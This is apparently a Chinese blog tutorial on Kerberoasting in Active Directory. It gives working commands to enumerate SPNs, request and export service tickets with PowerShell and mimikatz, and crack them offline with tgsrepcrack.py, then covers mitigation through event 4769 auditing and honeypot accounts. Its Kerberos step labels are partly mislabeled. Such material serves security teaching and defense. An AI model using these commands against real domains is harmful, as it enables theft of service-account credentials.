讲在前面:

Kerberoasting攻击手法在域渗透中是必不可缺的一项手法,它可以帮助你利用普通用户的权限在AD中提取到服务账户的凭据,又因为一般的服务账户密码策略可能较为薄弱或密码设置为永不过期等等。所以当攻击者拿到服务凭据后,花不了多大功夫就将其暴力破解了。

注意:

Windows系统默认的服务已经映射到AD中的计算机账户中,该类账户具有关联的128个字符的密码,破解起来相对费劲。针对这个问题我们需要了解如下两个协议,当在这里我们只能简单的介绍

Kerberos协议及其通信过程

这里我们来简单而又快速的了解Kerberos协议及其通信过程

  1. AS-REP:客户端向KDC中心发起验证请求,请求内容内容为客户端Hash加密的时间戳等数据
  2. AS-REQ:KDC响应请求,使用以存储的客户端Hash解密AS_REP数据包,如果验证成功,那么就返回使用krbtgt加密的TGT票据,TGT内包含PAC,PAC包含客户端所在的组,sid等
  3. TGS-REP:客户端拿到TGT后向KDC发起针对特定服务的TGS-REQ请求
  4. TGS-REQ:KDC接受到请求后,使用krbtgt hash进行解密,如果结果正确,那么就返回使用服务hash加密的TGS票据(这一步不管客户端有无访问服务的权限,只要TGT正确,就返回TGS)
  5. AS-REP:客户端拿着TGS请求特定服务
  6. AS-REQ:服务使用自己的hash解密TGS票据,如果解密正确,就拿着PAC去KDC问客户端有无权限,域控解密PAC,查询客户端的ACL并将结果返回给服务端,服务端根据权限来判断是否返回数据给客户端。

SPN协议

该协议的介绍,笔者在之前的文章已经做了文章——“SPN协议”。在此笔者不做过多赘述,这里介绍Kerberoasting和SPN和Kerberos的联系。

我们发现在Kerberos协议进行到第四步的时候,不管客户端有无权限,只要TGT正确,就返回TGS票据,而恰恰巧的是,域内任何的用户都可以向域内的任何服务请求TGS,再加上TGS的生成是使用服务账户的hash进行RC4-HMAC算法加密,站在利用的角度,我们是可以尝试使用强大的字典进行暴力破解票据的。

因此,高效率的利用思路如下:

  1. 查询SPN,找到有价值的SPN,需要满足以下条件:

    • 该SPN注册在域用户帐户(Users)下
    • 域用户账户的权限很高
  2. 请求TGS
  3. 导出TGS
  4. 暴力破解

使用setspn或powerview(powershell模块Active Directory 需要提前安装,域控制器一般会安装,也可自行安装)等工具

import-module .\Microsoft.ActiveDirectory.Management.dll

查询SPN:

setspn -q */*

Get-NetUser -spn

使用以下PowerShell命令来请求RC4加密的Kerberos TGS服务票证:

请求指定TGS

$SPNName = 'VNC/DC1.test.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

请求所有TGS

Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  

执行后输入klist查看内存中的票据,可找到获得的TGS

导出TGS

使用minikatz:

kerberos::list /export

或者使用empire的kerberoast模块或者使用PowerSploit中的Invoke-Kerberoast组件

破解

使用tgsrepcrackck.py开始离线密码破解,或者使用kirbi2john.py从原始票据中提取可破解的哈希格式 ,这儿也有go的版本

https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

./tgsrepcrack.py wordlist.txt test.kirbi

缓解Kerberoasting

站在防御的角度,不可能阻止kerberoast,但可以缓解:

  • 确保服务账户的密码长于25个字符并且满足复杂要求
  • 定期修改服务的相关联的域用户的密码
  • 配置日志以检测Kerberoasting活动

配置日志以检测Kerberoasting活动

在域控的高级安全审核策略中,开启账户登录中的“审核Kerberos服务票证操作”来记录Kerberos TGS服务票据的请求情况。

开启后会记录一下两个事件:

  • 4769:已请求Kerberos服务票证(TGS)
  • 4770:已更新Kerberos服务票证

不过也会造成一定的日志冗余,因为在用户初始登录时、在用户访问域内某些服务时,事件4769会被记录很多次。不过相对5136这样的筛选日志平台连接的日志来说也不算太多。

所以我们可以针对域内某些发起多次Kerberos请求的用户进行监控,从而来检测Kerberboasting活动,不过我们也要对日志进行筛选,根据漏洞特征来看我们只针对加密类型为RC4的,而日志里显示给我们看的就是如下:

  • 票证选项:0x40810000
  • 票证加密:0x17

同时使用DES加密的也不安全,所以我必须检测同时满足这几个条件的或者满足其中某一条的,我们就可以更加精准的通过日志来检测了

再者,我们也可以通过创建Kerberoast服务账户蜜罐,通过蜜罐来防御,也可以同时根据相应的漏洞的打法制定相应的检测规则来进行防御。

Kerberoast/Kerberoasting:攻击与检测相关推荐

  1. mysql %3c%3e sql优化_SQL注入技术和跨站脚本攻击的检测(2)

    2.3 典型的 SQL 注入攻击的正则表达式 /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix 解释: \w* - 零个或多个字符或者下划线 ...

  2. 【传统网络】与【SDN】的【DDos攻击与检测】

    DDos攻击 什么是 DDoS 攻击? 又有那些著名的案例? 拒绝服务(DoS)攻击可使目标计算机上的系统资源过期.停止服务并使其正常用户无法访问.当黑客使用网络上的两台或多台受攻击的计算机作为傀儡计 ...

  3. 基于SDN环境下的DDoS异常攻击的检测与缓解--实验

    基于SDN环境下的DDoS异常攻击的检测与缓解--实验 基于SDN环境下的DDoS异常攻击的检测与缓解--实验 1.安装floodlight 2.安装sFlow-RT流量监控设备 3.命令行安装cur ...

  4. DDoS攻击流量检测方法

    DDoS攻击流量检测方法 检测分类 1)误用检测 误用检测主要是根据已知的攻击特征直接检测入侵行为.首先对异常信息源建模分析提取特征向量,根据特征设计针对性的特征检测算法,若新数据样本检测出相应的特征 ...

  5. 攻击入侵检测NIDS分析

    时间:2004-06-13 来源:http://www.ccw.com.cn/ 在网络安全发展的今天,IDS即入侵检测系统在网络环境中的使用越来越普遍,当hacker在攻击一个装有IDS的网络服务器时 ...

  6. 【安全与风险】恶意软件:概念、攻击和检测

    恶意软件:概念.攻击和检测 恶意软件的定义 恶意软件的类型 易损性 如何防范恶意软件:终端用户的观点 不足 防病毒软件 基于主机的恶意软件检测 特征检测 启发式检测 数据收集挑战 沙箱分析 蜜罐 恶意 ...

  7. 攻击的检测与防护方法

    工业控制系统 攻击中的针对工业控制系统的攻击,不论在规模宏大的网络战(Cyberwar),还是在一般的网络 犯罪(Cybercrime)中,都可以发现 APT 的影子. 网络战中的 APT--Stux ...

  8. [免费专栏] ATTACK安全之Android车机证书攻击场景检测「检测系统代理」

    也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大 少走了弯路,也就错过了风景,无论如何,感谢经历 ATTACK付费专栏长期更新,本篇最新内容请前往: [车联网 ...

  9. Unity 攻击范围检测

    众所周知moba中的每个英雄都有一套自己的技能的攻击范围方式,有如廉颇一样的圆形范围,有火舞一样的直线范围,吕布的扇形方天戟范围,还有上图的牛魔大招时的矩形范围等等. 一些技能是通过物理的碰撞检测来判 ...

最新文章

  1. HTTP协议详解(真的很经典)
  2. struts2框架之国际化(参考第二天学习笔记)
  3. 开发日记-20190915 关键词 汇编语言王爽版 第十一章
  4. C语言结构体使用与指针的理解
  5. c语言实力,排序算法(更新ing)(C语言实现)(认真的不像实力派)
  6. 重启小狼毫输入法,rime输入法重启
  7. 国产手机的安全漏洞或比勒索病毒还可怕?
  8. 【Cocos2d-x游戏开发】解决Cocos2d-x中文乱码的三种方法
  9. 强化学习10——迭代学习
  10. Are you referring to request attributes outside of an actual web request
  11. hdu 4125 Moles
  12. 推出GitLab中国发行版GitLab JH
  13. webpack学习总结
  14. [LBS学习笔记3]redis geo地理位置查询分析
  15. 计算机职称级别一览表,2017高会《职称计算机》Word 2003:多级列表
  16. Principles of fMRI 1课程笔记8--fMRI的数据预处理
  17. PostgreSQL 客户端下查看表,视图,function,切换数据库等
  18. 数商云:如何采用电子招投标为企业提升招投标流程的连贯性
  19. 干货 | Amos实操教程之中介效应检验
  20. Glide实现图片预加载,提前缓存

热门文章

  1. 【软件架构】ECS游戏架构
  2. 薄膜?活塞?哪种执行器推力大?
  3. 区分服务之分类和标记
  4. 电子报账系统源码_亲清直播间 | “互联网+财税”引领企业专票电子化变革
  5. 软件滤波方法浅谈 (1)
  6. MultiNet:自主驾驶中的实时联合语义推理(译)
  7. 十大真实的谎言之:一流企业做标准
  8. 2022-2027年中国顺风车行业市场调研及未来发展趋势预测报告
  9. oracle19c静默创建实例,Oracle 19C dbca silent 静默建库
  10. 免费文本转语音的方法